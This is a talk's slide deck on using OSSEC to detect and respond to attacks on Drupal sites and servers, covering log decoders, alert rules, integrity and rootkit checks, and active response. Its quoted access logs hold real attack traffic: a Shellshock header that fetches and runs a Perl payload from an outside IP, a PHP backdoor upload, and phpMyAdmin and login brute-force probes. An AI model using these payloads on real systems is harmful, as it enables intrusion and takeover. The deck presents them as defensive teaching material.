![Page 1: OSSEC - mig5 system administration · OSSEC Intrusion detection and response! System and log analysis of Drupal sites and servers. Accidental surprises ... ELK: much nicer (demo time)](https://reader030.vdocuments.us/reader030/viewer/2022020214/5af098217f8b9ac57a8ecce5/html5/thumbnails/1.jpg)
OSSECIntrusion detection and response
System and log analysis of Drupal sites and servers
![Page 2: OSSEC - mig5 system administration · OSSEC Intrusion detection and response! System and log analysis of Drupal sites and servers. Accidental surprises ... ELK: much nicer (demo time)](https://reader030.vdocuments.us/reader030/viewer/2022020214/5af098217f8b9ac57a8ecce5/html5/thumbnails/2.jpg)
Accidental surprises…November 2012
!!33.44.55.66 - - [04/Nov/2012:05:48:59 +1100] "POST http://www.example.com/?q=fckeditor%2Fxss HTTP/1.1" 404 32956 "-" "-"!33.44.55.66 - - [04/Nov/2012:05:49:01 +1100] "POST http://www.example.com/?q=ckeditor%2Fxss HTTP/1.1" 200 0 "-" "-"!33.44.55.66 - - [04/Nov/2012:05:49:04 +1100] "GET http://www.example.com/sites/default/files/wtm5439n.php HTTP/1.1" 200 109 "-" "-"!33.44.55.66 - - [04/Nov/2012:06:27:25 +1100] "POST http://www.example.com/sites/default/files/wtm5439n.php?cookies=1&showimg=1&truecss=1&t2122n=1 HTTP/1.1"…!!!!
‘C99 (R57) shell’ (PHP-based Backdoor) !
CKeditor: arbitrary code exec (SA-CONTRIB-2012-040) Core served .php files from ‘files’ dir (SA-CORE-2013-003)
![Page 3: OSSEC - mig5 system administration · OSSEC Intrusion detection and response! System and log analysis of Drupal sites and servers. Accidental surprises ... ELK: much nicer (demo time)](https://reader030.vdocuments.us/reader030/viewer/2022020214/5af098217f8b9ac57a8ecce5/html5/thumbnails/3.jpg)
Last month’s doozie
/var/log/syslog !Oct 20 19:58:18 example drupal: https://www.example.com|1413831498|php|11.22.33.44|https://www.example.com/user||0||Warning: addcslashes() expects parameter 1 to be string, array given in DatabaseConnection->escapeLike() (line 984 of /var/www/drupal/www/includes/database/database.inc)!!!
!https://www.drupal.org/SA-CORE-2014-005
![Page 4: OSSEC - mig5 system administration · OSSEC Intrusion detection and response! System and log analysis of Drupal sites and servers. Accidental surprises ... ELK: much nicer (demo time)](https://reader030.vdocuments.us/reader030/viewer/2022020214/5af098217f8b9ac57a8ecce5/html5/thumbnails/4.jpg)
Shellshock
/var/log/nginx/access.log !!81.145.204.4 - - [18/Oct/2014:16:50:22 +0100] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 404 3652 "() { :;}; /bin/bash -c \x5Cx22cd /tmp;wget http://74.52.27.243/lifesux.txt;perl /tmp/lifesux.txt;rm -rf /tmp/lifesux.txt\x5Cx22" "() { :;}; /bin/bash -c \x5Cx22cd /tmp;wget http://74.52.27.243/lifesux.txt;perl /tmp/lifesux.txt;rm -rf lifesux.txt\x5Cx22"
![Page 5: OSSEC - mig5 system administration · OSSEC Intrusion detection and response! System and log analysis of Drupal sites and servers. Accidental surprises ... ELK: much nicer (demo time)](https://reader030.vdocuments.us/reader030/viewer/2022020214/5af098217f8b9ac57a8ecce5/html5/thumbnails/5.jpg)
What’s in logs?
/var/log/apache2 • crawlers hunting for holes
• brute-forcing /user/password, /user/register
• error 500, 504 (gateway timeouts, slow PHP?)
![Page 6: OSSEC - mig5 system administration · OSSEC Intrusion detection and response! System and log analysis of Drupal sites and servers. Accidental surprises ... ELK: much nicer (demo time)](https://reader030.vdocuments.us/reader030/viewer/2022020214/5af098217f8b9ac57a8ecce5/html5/thumbnails/6.jpg)
What’s in logs?
/var/log/syslog (Drupal!) • brute forcing (in more detail)
• exceptions, permissions problems
• crashes, panics, timeouts
• external service drama: Mollom, Payment GW
![Page 7: OSSEC - mig5 system administration · OSSEC Intrusion detection and response! System and log analysis of Drupal sites and servers. Accidental surprises ... ELK: much nicer (demo time)](https://reader030.vdocuments.us/reader030/viewer/2022020214/5af098217f8b9ac57a8ecce5/html5/thumbnails/7.jpg)
What’s in logs?
/var/log/auth.log
• SSH, user/group modifications
• sudo vi /srv/drupal/includes/bootstrap.inc :(
![Page 8: OSSEC - mig5 system administration · OSSEC Intrusion detection and response! System and log analysis of Drupal sites and servers. Accidental surprises ... ELK: much nicer (demo time)](https://reader030.vdocuments.us/reader030/viewer/2022020214/5af098217f8b9ac57a8ecce5/html5/thumbnails/8.jpg)
Risk != Intrusion
• Bad practice (‘sudo chown -R 777..)
• Human error
• Dependant services (third parties)
• Packages installed or removed (/var/log/apt/history.log)
…all has impact, all in the logs!
![Page 9: OSSEC - mig5 system administration · OSSEC Intrusion detection and response! System and log analysis of Drupal sites and servers. Accidental surprises ... ELK: much nicer (demo time)](https://reader030.vdocuments.us/reader030/viewer/2022020214/5af098217f8b9ac57a8ecce5/html5/thumbnails/9.jpg)
ISO27001
Security is not just about intrusions
!
Security is anything that could compromise
availability, integrity, confidence, trust,
reputation, money…
![Page 11: OSSEC - mig5 system administration · OSSEC Intrusion detection and response! System and log analysis of Drupal sites and servers. Accidental surprises ... ELK: much nicer (demo time)](https://reader030.vdocuments.us/reader030/viewer/2022020214/5af098217f8b9ac57a8ecce5/html5/thumbnails/11.jpg)
OSSEC model
• Server->agent mode (central config, active response propagates)
• Local mode (standalone)
• Hybrid mode (multi-tier, complex topography)
![Page 12: OSSEC - mig5 system administration · OSSEC Intrusion detection and response! System and log analysis of Drupal sites and servers. Accidental surprises ... ELK: much nicer (demo time)](https://reader030.vdocuments.us/reader030/viewer/2022020214/5af098217f8b9ac57a8ecce5/html5/thumbnails/12.jpg)
4 main features
• Log analysis (What’s happening now that’s being logged?)
• Syscheck (integrity checking - what happened that left traces?)
• Rootcheck (rootkit detection)
• Active Response (what to do about it?)
![Page 13: OSSEC - mig5 system administration · OSSEC Intrusion detection and response! System and log analysis of Drupal sites and servers. Accidental surprises ... ELK: much nicer (demo time)](https://reader030.vdocuments.us/reader030/viewer/2022020214/5af098217f8b9ac57a8ecce5/html5/thumbnails/13.jpg)
Log AnalysisWhat’s happening?
Decoders How to interpret logs
(regex patterns to split up timestamps, IPs, messages)
Rules Match decoded message against known issues
Grade them by severity
![Page 14: OSSEC - mig5 system administration · OSSEC Intrusion detection and response! System and log analysis of Drupal sites and servers. Accidental surprises ... ELK: much nicer (demo time)](https://reader030.vdocuments.us/reader030/viewer/2022020214/5af098217f8b9ac57a8ecce5/html5/thumbnails/14.jpg)
Log Analysis
Out of the box examples:
• SSH (bruteforcing, ‘first time user logged in’)
• ‘First time user executed sudo’
• SMTP (spam relay attempts, SASL bruteforcing)
• Apache/Nginx issues (40Xs, 50Xs)
• Wordpress/Joomla brute-forcing - no Drupal :(
![Page 15: OSSEC - mig5 system administration · OSSEC Intrusion detection and response! System and log analysis of Drupal sites and servers. Accidental surprises ... ELK: much nicer (demo time)](https://reader030.vdocuments.us/reader030/viewer/2022020214/5af098217f8b9ac57a8ecce5/html5/thumbnails/15.jpg)
Log Analysis!
Drupal watchdog custom decoder (Syslog module)
<decoder name="drupal">!
! ! ! ! ! <program_name>^drupal</program_name>!
! ! ! ! ! <prematch>\d+.\d+.\d+.\d \S+|\d+|\w+|</prematch>!
! ! ! ! ! <regex offset="after_prematch">(\d+.\d+.\d+.\d+)\|(\.+)\|\.*\|\d+\|\.*\|(\.+)</regex>!
! ! ! ! ! <order>srcip,url,data</order>!
! ! ! ! </decoder>!
http://www.madirish.net/428
![Page 16: OSSEC - mig5 system administration · OSSEC Intrusion detection and response! System and log analysis of Drupal sites and servers. Accidental surprises ... ELK: much nicer (demo time)](https://reader030.vdocuments.us/reader030/viewer/2022020214/5af098217f8b9ac57a8ecce5/html5/thumbnails/16.jpg)
Log Analysis
Example Drupal rules 1/3
<rule id="104110" level="3">!
! <decoded_as>drupal</decoded_as> " " <!— Use drupal decoder for this message —>"
! <match>Drupal</match>!
! <description>Drupal syslog message</description>!
</rule>
![Page 17: OSSEC - mig5 system administration · OSSEC Intrusion detection and response! System and log analysis of Drupal sites and servers. Accidental surprises ... ELK: much nicer (demo time)](https://reader030.vdocuments.us/reader030/viewer/2022020214/5af098217f8b9ac57a8ecce5/html5/thumbnails/17.jpg)
Log Analysis
Example Drupal rules 2/3
<rule id="104120" level="6">!
! <if_sid>104110</if_sid>! " " " <!— If this was a Drupal log message —>!
! <match>Login attempt failed</match>" " <!— And the message contained ‘Login attempt failed’ —>!
! <description>Drupal failed login!</description>!
</rule>
![Page 18: OSSEC - mig5 system administration · OSSEC Intrusion detection and response! System and log analysis of Drupal sites and servers. Accidental surprises ... ELK: much nicer (demo time)](https://reader030.vdocuments.us/reader030/viewer/2022020214/5af098217f8b9ac57a8ecce5/html5/thumbnails/18.jpg)
Log Analysis
Example Drupal rules 3/3
<rule id="104130" level="10" frequency="4" timeframe=“360"> <!— Happened too many times too quickly —>!
! <if_matched_sid>104120</if_matched_sid> ! ! <!— Parent Drupal rule: ‘Login attempt failed’ —>!
! <description>Possible Drupal brute force attack </description>!
! <description>(high number of logins).</description>!
</rule>
![Page 19: OSSEC - mig5 system administration · OSSEC Intrusion detection and response! System and log analysis of Drupal sites and servers. Accidental surprises ... ELK: much nicer (demo time)](https://reader030.vdocuments.us/reader030/viewer/2022020214/5af098217f8b9ac57a8ecce5/html5/thumbnails/19.jpg)
Log Analysis
Bingo! OSSEC HIDS Notification.!2014 Jun 23 18:11:38!!Received From: (example) 11.22.33.44->/var/log/messages!Rule: 104130 fired (level 10) -> "Possible Drupal brute force attack (high number of logins)."!Portion of the log(s):!!Jun 23 18:11:38 example drupal: http://www.example.com|1403511098|user|185.17.27.182|http://www.example.com/index.php?q=user/login|http://www.example.com/index.php?q=user/login|0||Login attempt failed for wembleylman10.!Jun 23 18:11:36 example drupal: http://www.example.com|1403511096|user|185.17.27.182|http://www.example.com/index.php?q=user/login|http://www.example.com/index.php?q=user/login|0||Login attempt failed for wembleylman10.!Jun 23 18:09:12 example drupal: http://www.example.com|1403510952|user|185.17.27.182|http://www.example.com/content/welcome?destination=node/4|http://www.example.com/node/add/submission|0||Login attempt failed for arreveMof.!Jun 23 18:09:12 example drupal: http://www.example.com|1403510952|user|185.17.27.182|http://www.example.com/content/welcome?destination=node/4|http://www.example.com/node/add/submission|0||Login attempt failed for arreveMof.!Jun 23 18:09:09 example drupal: http://www.example.com|1403510949|user|185.17.27.182|http://www.example.com/content/welcome?destination=node/4|http://www.example.com/node/add/submission|0||Login attempt failed for abralfultifug.!Jun 23 18:09:09 example drupal: http://www.example.com|1403510949|user|185.17.27.182|http://www.example.com/content/welcome?destination=node/4|http://www.example.com/node/add/submission|0||Login attempt failed for abralfultifug.!!--END OF NOTIFICATION
![Page 20: OSSEC - mig5 system administration · OSSEC Intrusion detection and response! System and log analysis of Drupal sites and servers. Accidental surprises ... ELK: much nicer (demo time)](https://reader030.vdocuments.us/reader030/viewer/2022020214/5af098217f8b9ac57a8ecce5/html5/thumbnails/20.jpg)
Log Analysis
Resource problems? (bottleneck/memory leak?) !OSSEC HIDS Notification.!2014 May 07 14:49:44!!Received From: (example) 11.22.33.44->/var/log/syslog!Rule: 1002 fired (level 2) -> "Unknown problem somewhere in the system."!Portion of the log(s):!!May 7 14:49:43 example drupal: http://www.example.com|1399470583|php|55.66.77.88|http://www.example.com/user/68/edit|http://www.example.com/user/68/edit|25||PDOException: SQLSTATE[HY000]: General error: 1205 Lock wait timeout exceeded; try restarting transaction: DELETE FROM {XXXXXXXXX} #012WHERE (uid = :db_condition_placeholder_0) AND (subid = :db_condition_placeholder_1) ; Array#012(#012 [:db_condition_placeholder_0] => 68148#012 [:db_condition_placeholder_1] => 77217#012)#012 in XXXXXXX_update::delete() (line 652 of /var/www/drupal/www/sites/all/modules/custom/XXXXXX/XXXXX.inc).!!--END OF NOTIFICATION!!—————————————————————————————————————————————————————————————-!!OSSEC HIDS Notification.!2014 Jun 14 15:17:02!!Received From: (example) 11.22.33.44->/var/log/messages!Rule: 1002 fired (level 2) -> "Unknown problem somewhere in the system."!Portion of the log(s):!!Jun 14 15:17:02 example ool www: PHP Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 64 bytes) in /var/www/drupal/www/sites/all/modules/contrib/views/modules/field/views_handler_field_field.inc on line 674!!--END OF NOTIFICATION
![Page 21: OSSEC - mig5 system administration · OSSEC Intrusion detection and response! System and log analysis of Drupal sites and servers. Accidental surprises ... ELK: much nicer (demo time)](https://reader030.vdocuments.us/reader030/viewer/2022020214/5af098217f8b9ac57a8ecce5/html5/thumbnails/21.jpg)
Syscheck
• Detects when files have changed (checksums)
• lots of false positives due to software patching 2014 Jul 01 04:01:03!!Received From: (example) 11.22.33.44->syscheck!Rule: 550 fired (level 7) -> "Integrity checksum changed."!Portion of the log(s):!!Integrity checksum changed for: '/usr/bin/ssh'" " " " " " << hopefully that’s legit because you recently patched OpenSSH..!!Size changed from '434024' to '641640'!Old md5sum was: '50226273f654d7a2d7b38a0b0c09def4'!New md5sum is : 'a8bf35316eb4f46e377a957ecb6cfdca'!Old sha1sum was: '976af6f53338a7e9d4eb71617a2a8471aeb6937b'!New sha1sum is : 'e871e0a907cdfb76c6e0722a6196b0c9f8edb1fd'!!!!--END OF NOTIFICATION
what’s changed?
![Page 22: OSSEC - mig5 system administration · OSSEC Intrusion detection and response! System and log analysis of Drupal sites and servers. Accidental surprises ... ELK: much nicer (demo time)](https://reader030.vdocuments.us/reader030/viewer/2022020214/5af098217f8b9ac57a8ecce5/html5/thumbnails/22.jpg)
Rootcheck
• rkhunter is great, but get a 2nd opinion
• Hopefully more false positives than not!
OSSEC HIDS Notification.!2012 Nov 20 23:37:22!!Received From: (example) 11.22.33.44->rootcheck!Rule: 510 fired (level 7) -> "Host-based anomaly detection event (rootcheck)."!Portion of the log(s):!!Anomaly detected in file '/tmp/#sql_1020_0.MYI'. Hidden from stats, but showing up on readdir. Possible kernel level rootkit."!--END OF NOTIFICATION
![Page 23: OSSEC - mig5 system administration · OSSEC Intrusion detection and response! System and log analysis of Drupal sites and servers. Accidental surprises ... ELK: much nicer (demo time)](https://reader030.vdocuments.us/reader030/viewer/2022020214/5af098217f8b9ac57a8ecce5/html5/thumbnails/23.jpg)
Rootcheck
Gah!! !
OSSEC HIDS Notification.!2012 Nov 12 09:36:16!!Received From: example->rootcheck!Rule: 510 fired (level 7) -> "Host-based anomaly detection event (rootcheck)."!Portion of the log(s):!!File ‘/var/www/sites/default/settings.php’ is owned by root and has written permissions to anyone."!!!--END OF NOTIFICATION
![Page 24: OSSEC - mig5 system administration · OSSEC Intrusion detection and response! System and log analysis of Drupal sites and servers. Accidental surprises ... ELK: much nicer (demo time)](https://reader030.vdocuments.us/reader030/viewer/2022020214/5af098217f8b9ac57a8ecce5/html5/thumbnails/24.jpg)
Active Response
!OSSEC HIDS Notification.!2014 Jun 28 21:36:54!!Received From: (example) 11.22.33.44->/var/log/nginx/access.log!Rule: 31151 fired (level 10) -> "Multiple web server 400 error codes from same source ip."!Portion of the log(s):!!89.46.101.213 - - [28/Jun/2014:21:34:59 +0100] "GET //phpMyAdmin-2.11.1-all-languages/scripts/setup.php HTTP/1.1" 404 1198 "-" "-"!89.46.101.213 - - [28/Jun/2014:21:34:59 +0100] "GET //phpMyAdmin-2.11.0.0/scripts/setup.php HTTP/1.1" 404 1198 "-" "-"!89.46.101.213 - - [28/Jun/2014:21:34:59 +0100] "GET //phpMyAdmin-2.10.2.0/scripts/setup.php HTTP/1.1" 404 1198 "-" "-"!89.46.101.213 - - [28/Jun/2014:21:34:59 +0100] "GET //phpMyAdmin-2.10.1.0/scripts/setup.php HTTP/1.1" 404 1198 "-" "-"!89.46.101.213 - - [28/Jun/2014:21:34:59 +0100] "GET //phpMyAdmin-2.10.0/scripts/setup.php HTTP/1.1" 404 1198 "-" "-"!89.46.101.213 - - [28/Jun/2014:21:34:59 +0100] "GET //phpMyAdmin-2.10.0.2/scripts/setup.php HTTP/1.1" 404 1198 "-" "-"!89.46.101.213 - - [28/Jun/2014:21:34:59 +0100] "GET //phpMyAdmin-2.10.0.1/scripts/setup.php HTTP/1.1" 404 1198 "-" "-"!89.46.101.213 - - [28/Jun/2014:21:34:59 +0100] "GET //phpMyAdmin-2.10.0.0/scripts/setup.php HTTP/1.1" 404 1198 "-" "-"!89.46.101.213 - - [28/Jun/2014:21:34:59 +0100] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 1198 "-" "-"!89.46.101.213 - - [28/Jun/2014:21:34:58 +0100] "GET //php/phpmyadmin/scripts/setup.php HTTP/1.1" 404 1198 "-" "-"!89.46.101.213 - - [28/Jun/2014:21:34:58 +0100] "GET //forum/phpmyadmin/scripts/setup.php HTTP/1.1" 404 1198 "-" "-"!89.46.101.213 - - [28/Jun/2014:21:34:58 +0100] "GET //cpphpmyadmin/scripts/setup.php HTTP/1.1" 404 1198 "-" "-"!!--END OF NOTIFICATION
OK, now what?
![Page 25: OSSEC - mig5 system administration · OSSEC Intrusion detection and response! System and log analysis of Drupal sites and servers. Accidental surprises ... ELK: much nicer (demo time)](https://reader030.vdocuments.us/reader030/viewer/2022020214/5af098217f8b9ac57a8ecce5/html5/thumbnails/25.jpg)
Active Response
firewall-drop.sh
most common response
but can be anything you want
‘null route’ alternative exists for systems behind NAT
(where public IP blocking is useless)
![Page 26: OSSEC - mig5 system administration · OSSEC Intrusion detection and response! System and log analysis of Drupal sites and servers. Accidental surprises ... ELK: much nicer (demo time)](https://reader030.vdocuments.us/reader030/viewer/2022020214/5af098217f8b9ac57a8ecce5/html5/thumbnails/26.jpg)
Active Response
When using server->agent model:
One agent detectsEvery agent blocks
(immediately)!
Can employ ‘repeat offender’ punishment
![Page 27: OSSEC - mig5 system administration · OSSEC Intrusion detection and response! System and log analysis of Drupal sites and servers. Accidental surprises ... ELK: much nicer (demo time)](https://reader030.vdocuments.us/reader030/viewer/2022020214/5af098217f8b9ac57a8ecce5/html5/thumbnails/27.jpg)
Active Response
Drupal behind loadbalancers/Varnish?
Make sure you have IPs logging correctly!
!
• Nginx/Apache to log X-Forwarded-For as client IP
• $conf[‘reverse_proxy’]$conf[‘reverse_proxy_addresses’]
![Page 28: OSSEC - mig5 system administration · OSSEC Intrusion detection and response! System and log analysis of Drupal sites and servers. Accidental surprises ... ELK: much nicer (demo time)](https://reader030.vdocuments.us/reader030/viewer/2022020214/5af098217f8b9ac57a8ecce5/html5/thumbnails/28.jpg)
Email sucks
Good for notifications. Crap to look at. (ELK demo time)
![Page 29: OSSEC - mig5 system administration · OSSEC Intrusion detection and response! System and log analysis of Drupal sites and servers. Accidental surprises ... ELK: much nicer (demo time)](https://reader030.vdocuments.us/reader030/viewer/2022020214/5af098217f8b9ac57a8ecce5/html5/thumbnails/29.jpg)
ELK: much nicer
(demo time)
![Page 30: OSSEC - mig5 system administration · OSSEC Intrusion detection and response! System and log analysis of Drupal sites and servers. Accidental surprises ... ELK: much nicer (demo time)](https://reader030.vdocuments.us/reader030/viewer/2022020214/5af098217f8b9ac57a8ecce5/html5/thumbnails/30.jpg)
Mig’s tips
• Filter out the noise to avoid ‘monitoring fatigue’
…tune, don’t ignore rule 1002 (‘Unknown Problem’)
• Whitelist all your IPs: don’t lock yourself out!
• OSSEC is not perfect: add ‘defense in depth’ (NIDs, Cloudflare WAF, rkhunter, ClamAV)
![Page 31: OSSEC - mig5 system administration · OSSEC Intrusion detection and response! System and log analysis of Drupal sites and servers. Accidental surprises ... ELK: much nicer (demo time)](https://reader030.vdocuments.us/reader030/viewer/2022020214/5af098217f8b9ac57a8ecce5/html5/thumbnails/31.jpg)
Resources
These slides https://mig5.net/files/ossec-lite.pdf
Website http://www.ossec.net
Monitoring Drupal with OSSEC http://www.madirish.net/428
My quick-start install script http://is.gd/ossec_install Longer version of this talk http://is.gd/ossec_mig5_talk